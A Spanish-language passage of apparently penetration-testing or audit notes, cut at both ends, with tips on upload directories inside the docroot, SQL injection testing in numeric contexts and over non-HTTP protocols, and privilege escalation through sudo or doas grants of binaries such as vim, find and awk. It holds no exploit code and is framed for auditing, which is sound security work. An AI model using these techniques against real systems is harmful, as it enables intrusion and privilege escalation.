uploads/dentro del docroot) es peligroso por sí solo, incluso sin ninguna vulnerabilidad de software de por medio. sqlmapy la mayoría de escáneres automáticos asumen HTTP; superficies sobre WebSocket, gRPC u otros protocolos requieren un extractor a medida — no descartar una inyección solo porque la herramienta estándar no llega ahí.- Al probar SQLi, comprobar siempre el contexto numérico además del de cadena: un payload con comilla que falla no descarta la inyección si el parámetro se interpola sin comillas.
- Un binario "de solo lectura" con sistema de plugins o scripting embebido (
dstat,vim,find -exec,awk, hooks degit...) equivale a un intérprete: concederlo porsudo/doases conceder ejecución de código arbitrario. Auditar también configuraciones fuera de/etc/sudoers—doas.confes fácil de pasar por alto.